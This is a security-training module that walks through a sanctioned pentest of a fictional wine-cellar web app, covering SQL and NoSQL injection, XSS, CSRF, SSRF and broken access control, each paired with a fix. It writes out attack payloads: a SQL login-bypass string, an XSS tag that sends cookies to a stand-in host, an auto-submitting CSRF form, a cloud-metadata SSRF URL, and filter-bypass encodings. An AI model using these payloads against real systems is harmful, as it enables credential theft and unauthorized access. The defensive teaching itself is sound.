Field Guide · Nº 23
A field guide to thinking in boundaries.
The attacker who breaks your application is not smarter than you. They are differently oriented. You spent six weeks thinking about what the feature should do for the person using it correctly; they spend forty minutes thinking about what it will do for the person using it incorrectly, on purpose. That asymmetry — not skill, not tooling, not some secret list of exploits — is where almost every breach comes from.
This module installs the orientation before it teaches a single vulnerability, because the vulnerabilities are downstream of it. You will learn to see a system as a set of trust boundaries rather than a set of features, to treat everything crossing inward as adversarial, and to convert the vague dread of "are we secure?" into a countable list. Then you will meet the wine cellar — the product we spend the rest of the course attacking, with permission — and its trust-boundary map, which every later finding pins back to.
Ask a builder what a feature does and you get a sentence about the user's goal: "it lets you import a wine label by pasting a URL." Ask an attacker and you get a sentence about the machine's obligations: "it makes my server fetch an address I choose." Same code. Two completely different descriptions, and only one of them predicts the incident.
The shift is from behavior to capability. A behavior is what the feature does when used as intended. A capability is what the feature can be made to do by someone who does not care about your intentions. Every feature you ship grants capabilities you never wrote down, and the attacker's whole method is to write them down. There is nothing mystical in it — the discipline is closer to how a litigator reads a contract than to how a hacker is portrayed on television. You are looking for what the text permits, not what the drafter meant.
This is adverse-interpretation practice, transplanted. The question you already know how to ask — what is the worst reading of this clause that a court would still accept? — is exactly the security question, with "court" replaced by "interpreter" and "clause" replaced by "input handler." Drafters write for the cooperative reader; opposing counsel reads for the gap. Attackers are opposing counsel with a scripting language.
Two corollaries fall out immediately, and both are unpopular. First, security cannot be added late, because capability is created at design time and only discovered later. Second, no tool substitutes for the reasoning. A web application firewall inspects requests against patterns; it does not know that /cellars/1041 belongs to someone else. Tools raise the cost of known attacks. They do not think about your boundaries, because they do not know where your boundaries are — you have not told them, and in most organizations nobody has written them down at all.
The attacker's advantage is orientation, not intelligence. They enumerate capabilities where you enumerated behaviors. You close the gap by doing the enumeration yourself, at design time, before the capability ships.
A trust boundary is any line across which data or control passes from a party you control to a party you do not. That definition is doing more work than it looks. "Control" means you determine the code's behavior and can rely on its invariants — not that you own the machine, not that it is inside your VPC, not that it is on your org chart. Your React bundle runs on the user's laptop; you wrote it, but you do not control it, because the user can edit any value it sends. So the browser-to-API line is a boundary even though both sides are your code.
Every vulnerability in this course lives on one of these lines. That is not a rhetorical flourish, it is a structural fact, and it is why the boundary is the right unit of analysis: it is small enough to reason about exhaustively and large enough that every bug is inside one. When you find yourself asking "is this safe?", the question is malformed. The well-formed version is: which boundary does this cross, what does the receiving side assume about what crossed, and who gets to supply it?
Boundaries are not only between your system and the outside world. The API-to-database line is a boundary in the direction that matters here — the database interprets whatever text arrives as a program. The API-to-worker line is a boundary. A dependency's code entering your build is a boundary crossing, arguably the most privileged one you never review.
Two failure modes recur. The first is the invisible boundary: a line nobody drew, usually between two internal services, on the theory that internal traffic is trusted. But "internal" describes network topology, not trustworthiness — and if any external input reaches an internal service, the attacker is already speaking on that trusted line. The second is the boundary you drew and then forgot to enforce: a validation function everyone believes runs, that runs on three of the four paths into the handler.
Ask a team to list a feature's inputs and you will get the form fields. The actual list is longer, and the items that get forgotten are the ones that get exploited, precisely because nobody wrote a validation function for a thing they did not think of as input.
Input is anything crossing a boundary inward. In a typical Flask-and-React application that includes: form fields and JSON bodies; query-string and path parameters; every HTTP header, including Host, Referer, X-Forwarded-For, and User-Agent; cookie values, which the browser will happily send back after the user rewrites them; uploaded filenames and uploaded file contents, which are different attack surfaces; URLs you are asked to fetch; redirect targets; webhook bodies from third parties, which are unauthenticated POSTs until you verify a signature; rows read back out of your own database that an attacker wrote earlier; and the source code of every dependency and transitive dependency in your build.
Data read back from your own database is input. It crossed inward once already — a user typed it — and storing it did not sanctify it. This is precisely how stored XSS works (module 3): the boundary crossing happened at write time, the interpretation happens at read time, and the code doing the reading feels like it is handling trusted internal data.
"Every input is hostile" is a design stance rather than a psychological state. It does not mean assuming your users are criminals; it means writing code whose correctness does not depend on the input being well-intentioned. The practical test: if a value could be anything at all — any length, any bytes, any structure — does your handler still behave? If the answer requires a sentence beginning "well, the frontend only ever sends…", you have found a vulnerability and are currently arguing with it.
"Are we secure?" has no answer, which is why it produces anxiety instead of work. Attack surface — the set of points where an attacker can supply input or interact with the system — is a finite list you can literally write down, and writing it down converts the anxious question into an auditable one.
The enumeration is mechanical. For each entry point, record four things: the route or interface, the method, the inputs it accepts, and the trust boundary it crosses. When you finish, you have a table with a definite number of rows, and every future security question becomes "which row?" A finding without a row means your map is incomplete, which is itself the most valuable output of the exercise.
Notice what the map makes obvious that a feature list hides. The API holds an instance IAM role, so anything that makes the API act on your behalf inherits cloud permissions. The database is an interpreter, so text reaching it is potentially a program. The browser zone is drawn outside your control despite containing your own code. And crossing 8 — dependency code entering the build — carries the highest privilege of all with the least review, which is the subject of module 7.
The running example for this course is a real-shaped product: a wine-cellar application where collectors track bottles, write tasting notes, share cellars with friends, and import label images. It has a React frontend, a Flask API on EC2, a Postgres database, two background workers, a payment integration, and about four hundred dependencies it did not read. It is, in other words, every application you have ever shipped.
What follows across modules 2 through 7 is a narrated, sanctioned penetration test of that product — one finding per stop, each pinned to a numbered crossing on Figure 1.1. Each finding is presented in the same four beats: the attacker's input, the mechanism that turns that input into a result, the impact in terms a business would recognize, and the fix. The fixes cross-reference the guides that own the underlying defense rather than re-teaching them: parameterization is Nº 06, cookies and SameSite are Nº 14, authentication is Nº 15, cloud metadata and instance roles are Nº 16, dependency pinning is Nº 27, secrets and encryption are Nº 19, authorization is Nº 05, and browser-rendering fundamentals are Nº 21.
Everything demonstrated in this course is scoped to a product we own, at the level of mechanical detail needed to recognize and fix a class. There is no tooling here, no evasion recipes, and no payload developed further than the sentence that explains why the class exists. Testing systems you have not been authorized to test is a crime in most jurisdictions regardless of intent, and "I was learning" is not a defense you want to run.
Injection is the cleanest possible illustration of the course thesis, which is why we start the walk here. The bug is not that the developer forgot to check something. The bug is architectural: data supplied across a boundary and code written by the developer were placed in the same channel, and the thing at the far end — an interpreter — cannot tell them apart, because from where it sits there is nothing to tell apart. It receives one string.
We trace the first pentest finding mechanically: a SQL injection in the wine cellar's search, sitting on crossing 2 of Figure 1.1. You will see exactly which character crosses the line from value into syntax, exactly what the interpreter then does, and why the parameterized version of the same query renders the identical payload inert. Then we generalize — because once you can see the shape, command injection, template injection, and NoSQL injection stop being three more things to memorize and become the same thing wearing different clothes.
The attacker's input. Into the wine cellar's search box — the one that filters your bottles by producer or region — the tester types Margaux' OR '1'='1 and presses return.
The mechanism. The search handler builds its query by string concatenation. The code, simplified only by removing the pagination clause, looks like this:
q = request.args.get("q")
sql = "SELECT id, producer, vintage, notes FROM bottles " \
"WHERE owner_id = " + str(user.id) + " AND producer LIKE '%" + q + "%'"
cur.execute(sql)The developer's mental model is that q is a word. The interpreter's model is that everything between SELECT and the semicolon is a program. When those two models disagree, the interpreter wins — always, and by definition.
The impact. The search returns every bottle in the table, including 11,400 rows belonging to other collectors, complete with purchase prices and private tasting notes. The same flaw on the login handler, which builds its query the same way, returns an authenticated session for the first user in the table without any password. And because the database user the app connects as is the owner of the schema, a differently-shaped payload can read from any table in the database, including users.
Injection is not a failure to sanitize. It is a failure to separate channels. The moment untrusted data is concatenated into a string that an interpreter will parse, the user is writing your program with you — and no amount of inspecting what they wrote changes who is holding the pen.
This finding pins to crossing 2 on the master map: the API-to-Postgres line, where the receiving side assumes that anything arriving is the query the developer intended. That assumption is supplied, in this code, by whoever types in the search box.
Take the payload apart character by character, because the whole class becomes obvious once you see the exact moment of the crossing. Consider the login variant, which is the more consequential one. The template is:
SELECT id FROM users WHERE email = '<INPUT>' AND password_hash = '<HASH>'The attacker submits, as the email, ' OR '1'='1' -- (note the trailing space after the dashes; SQL comment syntax requires it). Substituting textually gives:
SELECT id FROM users WHERE email = '' OR '1'='1' -- ' AND password_hash = '...'Three things happened, in order. The first apostrophe closed the string literal the developer opened — that is the crossing, the single character where an attacker-supplied byte stopped being a value and became syntax. The injected clause OR '1'='1' is then parsed as part of the WHERE expression, and since it is tautologically true, the whole predicate is true for every row. The comment marker -- makes the parser discard the rest of the line, which conveniently includes both the unbalanced trailing quote and the entire password check. The query now means select the id of every user, and a login handler that takes the first row logs the attacker in as whoever that is — typically the oldest account, which in most systems is an administrator.
Two details matter for accuracy. First, the tautology '1'='1' is doing nothing clever — any always-true expression works, and the point is that the attacker got to contribute an expression at all. Second, the comment marker is not decoration; without it the trailing ' from the developer's template is unbalanced and the query is a syntax error. Attackers do not need the query to be exploitable in an interesting way. They need it to be valid, and comment syntax is how they discard whatever the developer wrote after their insertion point.
The corrected handler does not inspect the input at all:
cur.execute(
"SELECT id, producer, vintage, notes FROM bottles "
"WHERE owner_id = %s AND producer ILIKE %s",
(user.id, "%" + q + "%")
)Compare it to the vulnerable version line by line and note how little changed. The SQL text is the same clauses in the same order. The wildcards are still there. The difference is that %s is a bind marker rather than an insertion point: the driver sends the query text and the parameter tuple to Postgres as separate items, the server plans the statement while the value is still an opaque blob, and only then binds it. The parse tree is fixed before the attacker's bytes are ever considered. There is no step at which the string ' OR '1'='1' -- could become an expression, because by the time it exists in the server's memory, the question of what is an expression has been settled.
The driver-level mechanics of prepared statements, bind parameters, and the difference between client-side and server-side parameter binding belong to Guide Nº 06 (relational data modeling and SQL), which covers them properly. What matters here is the security property that falls out of them: the query's structure is determined before any user byte is examined. If you use an ORM, you already get this — until someone reaches for the raw-SQL escape hatch, which is where injections in ORM codebases actually live.
Two limits on the fix, both of which come up in real code review. Parameterization binds values, not identifiers: you cannot parameterize a table name, a column name, or the direction of an ORDER BY. A sort parameter like ?sort=vintage_desc that gets concatenated into the query is a genuine injection point that parameterization cannot close — the correct fix there is an allowlist mapping the user's string to one of a fixed set of known-safe column expressions, chosen by your code rather than supplied by theirs. And parameterization protects the SQL boundary only; the same value, later rendered into HTML, still needs output encoding, which is module 3.
Symptom: a query built with +, f-strings, or .format(), often carrying a comment like # q is validated upstream. Why it survives review: the validation upstream is real, just insufficient or bypassed on one of four call paths. Corrective: make concatenated SQL a lint failure rather than a review conversation — the class is mechanically detectable, and detecting it mechanically is the only version that holds as the team grows.
Nothing in the analysis so far was about SQL. The structure was: untrusted data is concatenated into a string; the string is handed to an interpreter; the interpreter parses the whole thing as its language. Any interpreter, any language. Recognizing the structure is worth more than memorizing four attack names, because it generalizes to the interpreter you will meet next year that has not been invented yet.
The document-database row deserves a sentence, because it is the one that surprises people. There is no quote to escape and no comment marker; the injection happens because JSON can express structures your code did not anticipate. If the login handler does db.users.find_one({"email": body["email"], "token": body["token"]}) and the attacker sends {"token": {"$ne": null}}, the value is no longer a string being compared but an operator meaning "anything that is not null." Same shape as SQL — attacker-supplied data was interpreted in a position where the interpreter accepts language — with a completely different surface texture. The fix is correspondingly different: not escaping, but asserting the type is a scalar before it reaches the query.
The proposal arrives in every review: strip apostrophes and semicolons, reject anything containing DROP or --, and move on. It is worth understanding precisely why this loses, because "blocklists are bad" delivered as a slogan does not survive contact with a senior engineer who has a deadline.
Blocklisting asks you to enumerate every string that could ever be dangerous, in advance, correctly. The attacker only needs one you missed. The asymmetry is structural, and four forces widen it. Encoding: the same bytes arrive URL-encoded, double-encoded, Unicode-escaped, or in an alternate charset, and your filter runs at a different decoding stage than the interpreter does. Alternate syntax: Postgres accepts /* */ comments and dollar-quoted strings; a filter tuned for -- never sees them. Context multiplicity: the string that is safe in a SQL value is dangerous in an HTML attribute and differently dangerous in a shell argument, so one "sanitize" function is wrong somewhere by construction. Time: your blocklist is frozen at the moment it was written and the interpreter's grammar is not.
Compare the shapes of the two arguments. Parameterization's correctness argument is a single sentence about mechanism: the parse tree is fixed before the value is bound. Blocklisting's correctness argument is an unbounded list of strings, and its truth value degrades every time anyone upgrades a database driver. Security engineering strongly prefers claims of the first shape — not because they are more impressive, but because you can still defend them in an incident review eighteen months later.
Symptom: one function, usually called sanitize() or clean_input(), applied at the edge of the request and trusted everywhere downstream regardless of where the value ends up. Why it survives: it is visible, it is centralized, and it makes a directory-wide search for "is this handled?" return true. Corrective: delete it and push the escaping to each destination — bind parameters for SQL, contextual encoding for HTML, argv lists for shells. Validation still has a role (reject a vintage that is not four digits, because a narrower type is easier to reason about), but validation is a filter and encoding is the guarantee. Module 8 returns to this distinction as the general principle it is.
The next two findings do not run on your servers. They run on your users' laptops, in a security context you established and then handed away: your origin. That relocation is what makes this family confusing to reason about and easy to misdiagnose, and misdiagnosis here is expensive, because the fix for cross-site scripting does nothing for cross-site request forgery and vice versa.
Hold one distinction throughout and the module organizes itself. Cross-site scripting means the attacker's code executes inside your origin — they are running arbitrary logic with everything your page can do. CSRF means the attacker's request executes with your user's ambient credentials — they cannot see the response or read anything, but they can cause a side effect. Code versus request. Read-and-act versus act-blind. Everything else in this module is a consequence of that difference.
The attacker's input. On a bottle in a cellar shared with a tasting group, the tester saves this tasting note:
Firm tannins, needs a decade.
<img src=x onerror="fetch('https://collector-notes.example/c?d='+document.cookie)">The mechanism. The note is stored verbatim in Postgres — correctly, using a parameterized query, because module 2's finding was fixed. It is then read back and inserted into the page with note.innerHTML = row.body. The browser parses the string as HTML, finds an image element, fails to load x, and runs the onerror handler. Note that no <script> tag was involved: filters that look for script tags miss this entirely, and there are dozens of equivalent constructions. The payload executes for every member of the tasting group who opens that bottle's page — nine people, at nine different times, with no further action from the attacker.
This is the same bug as module 2 with a different interpreter. Data crossed a boundary inward (crossing 1, at write time), was stored, and was then handed to an interpreter — the browser's HTML parser — through a channel where data and markup are indistinguishable. The parameterized query protected the SQL boundary and did precisely nothing for the rendering boundary, because escaping is per-destination.
The impact. Session cookies for nine collectors, exfiltrated to a host the attacker controls; and because the script runs as the victim, it can also call DELETE /api/cellars/1040 on their behalf before anyone notices. The fix is output encoding at the render site — the subject of the fourth section — not a filter at the write site.
This finding pins to crossing 3 on the master map: the database-to-API line, where the render path assumes stored rows are trustworthy because they came from our own database. A user wrote that row. Storage is not sanctification.
Guide Nº 21 (the browser) covers the parsing pipeline, the DOM, and the same-origin policy — the machinery that makes "inside your origin" a meaningful phrase. This module assumes it. What is added here is the adversarial reading: the same-origin policy is a fence around your page's capabilities, and XSS does not break the fence, it puts the attacker inside it.
"XSS lets an attacker run JavaScript" is technically complete and practically useless, because it does not convey what that buys them. Inside your origin, the script has exactly the capabilities your own application code has. Enumerate them and the severity becomes arguable in a room where someone has proposed accepting the risk.
It can read the DOM — every value on the page, including data the user has typed but not yet submitted, and anything your SPA has fetched into memory. It can exfiltrate cookies not marked HttpOnly via document.cookie, and any token you stored in localStorage, which is readable by definition. It can make authenticated same-origin requests and read the responses, which is the capability CSRF lacks: the script can call GET /api/cellars/1040, receive the JSON, and forward it anywhere. It can rewrite the page, so a convincing re-authentication prompt appears at the correct URL with a valid certificate. It can keylog by attaching listeners. And it persists for the life of the tab.
Symptom: an XSS finding triaged as low severity because the proof-of-concept was an alert(1) box, which reads as a prank. Why it survives: the demonstration is chosen for harmlessness and the triager scores the demonstration rather than the capability. Corrective: score the capability — full account takeover within the victim's session, plus reading any data the victim can read. If the proof-of-concept had to be harmless for legal reasons, say so in the finding, and describe the capability in the impact field.
One important refinement: HttpOnly on the session cookie stops the theft of the cookie, not its use. The script cannot read the value, but the browser still attaches it to every same-origin request the script makes. The attacker loses a stealable credential and keeps a usable session for as long as the tab is open. That is a real reduction in blast radius and a poor substitute for not having XSS — the exact shape of a defense-in-depth layer, which module 8 formalizes.
The three variants differ by where the payload lives and when it becomes part of the page, which determines where the fix belongs. Conflating them produces the most common wasted remediation in this class: adding server-side escaping to an application whose bug is entirely in the client.
The DOM variant is the one that defeats the most remediation effort. If document.getElementById("tab").innerHTML = location.hash.slice(1) is the sink, the payload lives in the URL fragment — which browsers do not send to the server. Every server-side escaping filter in your stack could be perfect and the bug would remain, because no server-side code ever touches the value. The fix is to stop using an HTML-parsing sink: assign textContent instead of innerHTML, and if you genuinely need to render HTML, run it through a maintained sanitizer library. React's default JSX interpolation escapes for you, which is why most React XSS traces back to dangerouslySetInnerHTML — a name chosen with more foresight than most.
The attacker's input. A page on a site the attacker controls, containing nothing but this:
<form id="f" method="POST" action="https://cellar.example/api/cellars/1040/delete"></form>
<script>document.getElementById("f").submit();</script>The tester posts a link to it in the tasting group's forum with the text "1998 Bordeaux vertical — tasting notes."
The mechanism. The victim is logged into the wine cellar in another tab. They click the link. Their browser loads the attacker's page, which immediately submits the form to your domain — and because the request goes to cellar.example, the browser attaches cellar.example's cookies, including the session. Your server receives a syntactically perfect, fully authenticated POST and does exactly what it was asked. The cellar, with 340 bottles and eleven years of notes, is gone.
The property being abused has a name: ambient authority. The session cookie is attached by the browser based on destination, with no reference to what caused the request or which page composed it. Your server cannot tell the difference between this request and the one your own React app sends, because at the byte level there is no difference.
The attacker's page cannot read the response — the same-origin policy blocks that, and this is the sharp line between CSRF and XSS. CSRF is a write primitive fired blind. It can delete, transfer, change an email address, or add an API key; it cannot exfiltrate your cellar's contents. That is why CSRF findings concentrate on state-changing endpoints and why a CSRF on a read-only endpoint is usually not a finding at all.
Two notes on scope. First, this attack requires no XSS and no flaw in your JavaScript; the vulnerability is the absence of something (a token, a SameSite attribute), which is why it is easy to ship. Second, if the delete action had been implemented as a GET, the attack would not even need a form — <img src="https://cellar.example/api/cellars/1040/delete"> would suffice, and it would fire from any page that renders attacker-supplied HTML, including an email. State-changing GETs are their own anti-pattern for exactly this reason.
If CSRF depends entirely on the browser attaching credentials to a cross-site request, then instructing the browser not to do that removes the attack's power source. That is what the SameSite cookie attribute does.
SameSite=Strict withholds the cookie on every request originating from another site, including ordinary link navigation — which means a user who follows a link to your app from their email arrives logged out, an unacceptable experience for most products. SameSite=Lax, the default in Chromium-based browsers (Chrome, Edge) when the attribute is absent — Firefox and Safari do not default to Lax — they restrict cross-site cookies by other means (cookie partitioning and ITP) — one more reason to set it explicitly — is the useful compromise: the cookie is sent on top-level navigations using safe methods (a user clicking a link) and withheld on cross-site subresource loads and on cross-site POSTs. The attack above is a cross-site POST, so Lax stops it.
Cookie attributes, scoping rules, Secure, the __Host- prefix, and how sessions are actually carried belong to Guide Nº 15 (authentication and identity). Set them there; here, only the security consequence matters: SameSite removes ambient authority on cross-site requests, which is the resource CSRF runs on.
Keep anti-CSRF tokens anyway, for two reasons that survive scrutiny. First, SameSite is enforced by the browser, and browser-enforced defenses fail against old clients and are subject to the browser's definition of "site" — which is registrable domain, not origin, so a compromised or hostile subdomain at blog.cellar.example is same-site with you. Second, the two controls fail independently: a token is checked by your server and does not care what the browser decided. That independence is the whole reason to layer, and module 8 makes the argument in general form.
Clickjacking deserves a paragraph rather than a section, and knowing that is part of calibrating security effort correctly. The attacker loads your real application in an invisible iframe on their page, positions it so that the button they want pressed sits underneath something the victim intends to click, and lets the victim supply the click. Every request is genuine: real session, real user, real intent to click something. The consent was harvested rather than forged.
The control is one header: Content-Security-Policy: frame-ancestors 'self', with X-Frame-Options: DENY alongside it for clients that predate CSP support. Both instruct the browser to refuse rendering your page inside a foreign frame. There is no application-level equivalent, because from your server's perspective nothing is wrong with the request. Set the header globally and revisit only if a legitimate partner genuinely needs to embed you.
The fourth finding comes from a feature nobody would flag in a design review. Collectors wanted to add label images without downloading and re-uploading them, so the importer accepts a URL and the worker fetches it. Convenient, obvious, and shipped in an afternoon.
What it actually does is grant any user of the wine cellar the ability to issue HTTP requests from inside your infrastructure. That matters because your server's network position is dramatically more privileged than an attacker's: it can reach private subnets, unauthenticated internal services, admin ports bound to localhost, and — the payoff — the cloud instance metadata endpoint, which hands out temporary credentials to anything that asks from the right place. Server-side request forgery is the class where the vulnerability is the feature working as designed, for someone you did not have in mind.
The attacker's input. A POST to /api/labels/import with the body {"source_url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/cellar-worker-role"}.
The mechanism. The importer validates that source_url parses as a URL — it does — and queues a job. The worker calls requests.get(source_url), stores the response body as the label image, and the API returns it when the bottle page renders. Nothing malfunctioned. Every component did exactly what it was written to do, and the tester now has the contents of a link-local endpoint rendered back to them in an <img> tag.
The impact. The response is a JSON document containing an access key ID, a secret access key, and a session token for the IAM role attached to the worker instance. That role has read and write access to the S3 bucket holding every collector's label images and receipts, and — because the role was copied from the API's role during a hurried migration — permission to read the RDS credentials from Parameter Store. The finding started as "the image importer fetches the wrong URL" and ended at the database.
SSRF is a position vulnerability, not a content one. The attacker did not compromise your server; they borrowed its place in the network. Every access-control decision anywhere in your infrastructure that says "requests from this host are trusted" is transitively an access-control decision about whoever can steer that host's outbound requests.
This finding pins to crossings 5 and 6 on the master map: a user-supplied URL travels in a job payload from the API to the worker, and the worker then crosses outward to any address it can reach — including zone F, the metadata service, which was never drawn as reachable by users because on the diagram it is not. Reachability by influence is what the map is for.
Validating a URL tells you it is well-formed. It tells you nothing about the destination, and destination is the entire attack. This distinction gets lost because "validate the input" is such a deeply installed reflex that teams perform it, observe that it passed, and stop.
Enumerate what the worker can reach that the attacker cannot, and the capability becomes concrete. Private RFC 1918 ranges: the internal reporting service from module 1, the Redis instance with no password because it is "internal," the staging database. Loopback: admin interfaces bound to 127.0.0.1 precisely because binding to localhost was considered a security control. Link-local: 169.254.169.254, the metadata service. And non-HTTP schemes, if the fetching library follows them — file:///etc/passwd, or gopher:// in older stacks, which allowed constructing arbitrary TCP payloads.
Symptom: any parameter whose value the server will act on as a destination — source_url, callback_url, next=, a webhook target a customer configures, an avatar-by-URL field, an XML document with an external entity reference. Why it survives: each looks like a small convenience, and each is added by a different team in a different quarter. Corrective: keep a single inventory of every place the server is willing to fetch or redirect on a client's behalf, and require the same guardrails on all of them. This is one row-class on the module 1 attack-surface table, and it should be reviewed as a class.
Open redirects belong to the same family and are routinely dismissed as low severity, which is right in isolation and wrong in combination: an open redirect on your domain is what turns a phishing link into one that displays your hostname, and it is what smuggles an OAuth authorization code to an attacker's endpoint when the redirect target is validated by prefix rather than by exact match.
Cloud instances need credentials, and hard-coding them on disk is worse than the alternative, so every major cloud provides an instance metadata service: a fixed link-local address that returns information about the instance, including temporary credentials for its attached role. The authorization model is positional — if you can reach it, you are presumed to be the instance, because in the original threat model only the instance could reach it.
SSRF invalidates that presumption exactly. A fetch primitive on the instance means the attacker is the instance for this purpose, and the returned credentials are ordinary, valid cloud credentials usable from anywhere until they expire.
Guide Nº 16 (where code runs) covers instance roles, credential vending, and how the metadata service fits the cloud identity model. Two controls from there carry the security weight here and are worth naming rather than re-deriving: IMDSv2 requires a session token obtained via a PUT request carrying an X-aws-ec2-metadata-token-ttl-seconds header, which a simple SSRF GET primitive cannot produce; a separately configured metadata hop limit of 1 further blocks reaching it from containers; and a least-privilege instance role means that even a successful theft yields credentials that can do very little. Enabling IMDSv2 and dropping the worker's role to "write to one S3 prefix" would each, independently, have reduced this finding from critical to low.
The reflex fix is to reject 169.254.169.254 and the private ranges. It fails, and the reasons are worth knowing precisely, because this is the second time in the course the same argument has appeared and the third time it will.
Alternate encodings of the same address. 169.254.169.254 is also 0251.0376.0251.0376 in octal, 2852039166 as a decimal integer, and reachable through IPv6-mapped forms. A string comparison against the dotted-quad form catches one spelling of an address with many. Redirects. The attacker supplies https://labels.example/pic.jpg, which passes every check, and the server they control responds 302 Location: http://169.254.169.254/…. Unless you validate every hop, the redirect-following default in your HTTP library performs the request for you. DNS names that resolve wherever the attacker wants. metadata.labels.example can simply have an A record pointing at the link-local address. DNS rebinding, the sharpest version: the name resolves to a benign public address when your validator looks it up, and to the internal address a few hundred milliseconds later when the HTTP client resolves it again. There is a time-of-check-to-time-of-use gap between validation and fetch, and a low TTL is all it takes to live in it.
The durable design has four layers, and it is worth stating what each one covers when the others fail. An allowlist of destination hosts — six image CDNs, say — reduces the problem from "anywhere on the internet or in our VPC" to a set you chose. Resolve-then-pin: resolve the hostname once, verify the resulting IP is a public unicast address, and connect to that address, closing the rebinding gap. Disable redirect following, or re-run the full validation on every hop. And the cloud-side controls — IMDSv2 plus a minimal instance role — which are the only layers that still hold when someone finds a bypass in the first three, because they do not depend on your application's logic being correct.
Where the feature genuinely needs to reach arbitrary user-supplied hosts, the architectural answer is to move the fetch out of the trusted network: an egress proxy in a subnet with no route to internal ranges and no instance role. Then a successful SSRF buys the attacker the ability to fetch public web pages, which they could already do.
Everything so far has involved a payload — a crafted string, a hostile URL, an injected script. This finding involves none. The tester changes one digit in a URL, presses return, and reads another collector's private cellar. There is no exploit code to write, no encoding trick, no tooling. Which is exactly why broken access control is consistently the most prevalent vulnerability class in real applications: it requires nothing of the attacker and everything of the developer, on every single handler, forever.
The distinction underneath it is one you already hold from GRC work, and it survives translation cleanly. Authentication establishes who the principal is. Authorization establishes what that principal may do to a specific object. Systems get the first right because it is centralized, visible, and has a login page attached to it. They get the second wrong because it is diffuse — a decision that must be made correctly in every handler, on every object, by every engineer, including the one shipping a feature at 6pm on a Thursday.
The attacker's input. The tester, logged in as an ordinary user who owns cellar 1040, requests GET /api/cellars/1041.
The mechanism. The handler is four lines and looks entirely reasonable:
@app.get("/api/cellars/<int:cellar_id>")
@login_required
def get_cellar(cellar_id):
cellar = Cellar.query.get_or_404(cellar_id)
return jsonify(cellar.to_dict(include_bottles=True))The @login_required decorator is real and it works: an unauthenticated request gets a 401. What it establishes is that somebody is asking. Nothing anywhere in this handler asks whether this somebody may see this cellar. The record is loaded by primary key, serialized, and returned.
The impact. Sequential integer IDs mean the tester can walk the entire table — 1042, 1043, and onward — retrieving every private cellar in the product: bottle inventories, purchase prices, storage locations, and the tasting notes users believed were shared with three friends. This is a complete confidentiality failure of the product's core data, achieved by incrementing a number. This class is called IDOR, an insecure direct object reference: the identifier the client supplies is used directly to fetch an object, with no check that the reference was one the client was entitled to make.
Loading an object successfully is evidence that the object exists. It is not evidence that the caller may have it. Every handler that turns a client-supplied identifier into a record must, between the load and the response, answer a question about the authenticated principal — and if that question is not in the code, the answer defaulted to yes.
This finding pins to crossing 1 on the master map, the browser-to-API line — the same crossing as the login and the search. The path parameter is client-supplied input exactly as the search string was; the difference is that this input is not interpreted as code by anything, so none of module 2's defenses apply. It is a perfectly well-formed request asking for something the caller should not get.
Access-control failures come in two shapes, and confusing them sends remediation to the wrong place.
Object-level failures are IDOR: the caller is allowed to use the endpoint, but not on that particular object. GET /api/cellars/:id is a legitimate thing for a collector to call — just not with someone else's ID. The missing check is a predicate about the relationship between principal and object: cellar.owner_id == current_user.id or current_user in cellar.shared_with.
Function-level failures are different: the caller should not be able to invoke the endpoint at all. The wine cellar has POST /api/admin/users/:id/impersonate, built for support staff. It is not linked in the UI for ordinary users, which the team treated as the control. The tester found it in the JavaScript bundle — where every route the SPA knows about is written down in plain text — called it, and became any user they liked. The missing check is a predicate about the principal alone: current_user.role == "support".
Symptom: a capability restricted by not rendering its UI, by an undocumented route, or by a client-side if (user.isAdmin). Why it survives: it works perfectly in every manual test, because testers use the UI. Corrective: the server must reject the call regardless of what the client displays. Client-side role checks are a UX affordance — they exist so users are not shown buttons that will fail — and describing them as security in a design doc is how they get counted twice.
Guide Nº 05 (authorization for agents) owns the models: role-based access control, attribute- and relationship-based models, policy engines, and how to express rules so they can be reviewed and tested independently of handlers. Use it to choose the model. What this module contributes is the attacker's view — where a missing check is found, and what it costs — and one structural claim from Nº 05 worth repeating: an authorization decision that can be forgotten will be forgotten, so the enforcement point must be one that a new handler cannot silently bypass.
The two axes of escalation are worth keeping straight because they predict where the missing check belongs and how bad the finding is.
Horizontal escalation is reaching another principal's resources at your own privilege level. The cellar 1041 finding is horizontal: the tester remained an ordinary user and got another ordinary user's data. Horizontal flaws are usually object-level, and their severity scales with how many objects exist — which, with sequential IDs, is all of them.
Vertical escalation is acquiring a privilege level you were not granted. The impersonation endpoint is vertical: an ordinary user obtained support-staff capability. Vertical flaws are usually function-level, and they are typically more severe per instance, because the acquired privilege often includes the ability to perform horizontal access at will.
Note the direction of travel in real incidents: an attacker rarely needs both flaws. A vertical escalation delivers the top-right cell by itself, because support-staff capability includes reading anyone's data. A horizontal flaw with sequential IDs delivers most of the same data without any privilege change at all — which is why "they only had a normal user account" is not the mitigating fact it sounds like in an incident report.
A screen door is a real door. It has a frame, a latch, and it keeps insects out. It also does not keep anyone out, and the reason the metaphor is apt is that a screen door looks like security from a distance and is defended in exactly the terms a real door would be: "we have a door on that."
Authentication is the frame. It is centralized, it is visible in the architecture diagram, it appears in the compliance questionnaire as a control, and the team can point to it. Authorization is a decision that must be made independently in every handler, and it has no natural home — which means it has no natural place to be noticed missing. This asymmetry is why the class dominates real breach data despite being conceptually trivial. Nobody misunderstands the concept. They omit the line.
The corrected version also fixes a subtler leak. Returning 403 Forbidden for a cellar you do not own and 404 for one that does not exist tells an attacker which IDs are real — a small oracle, but the same class of information disclosure as the user-enumeration problem in module 6. For resources whose existence is itself private, return 404 in both cases.
Knowing the check is missing is easy. Deciding where it goes so that it stops being missing is the engineering.
The weakest placement is a conditional inside each handler. It is correct when written and fails by omission: the next endpoint, added under deadline by someone who copied a handler that happened to be one of the ones without a check, ships the bug again. Any scheme whose correctness depends on every future engineer remembering something will be wrong within two quarters — not because engineers are careless, but because the design made correctness a memory task.
Better placements share one property: the unsafe version requires an explicit act, not an omission. Three that work in practice. Scope at the data-access layer: the repository exposes cellars_for(current_user) and there is no method that fetches a cellar without a principal — the ownership predicate is in the query, so an unauthorized object cannot be loaded, and the fix is the one drawn in Figure 5.1. Deny by default at the routing layer: every route must declare a policy, and a route with no declaration fails closed at startup rather than serving unauthenticated traffic; the omission becomes a deployment failure instead of a vulnerability. Row-level security in the database, where the policy is enforced by Postgres against the session's principal regardless of what any application code does — the strongest option and the one with the most operational cost.
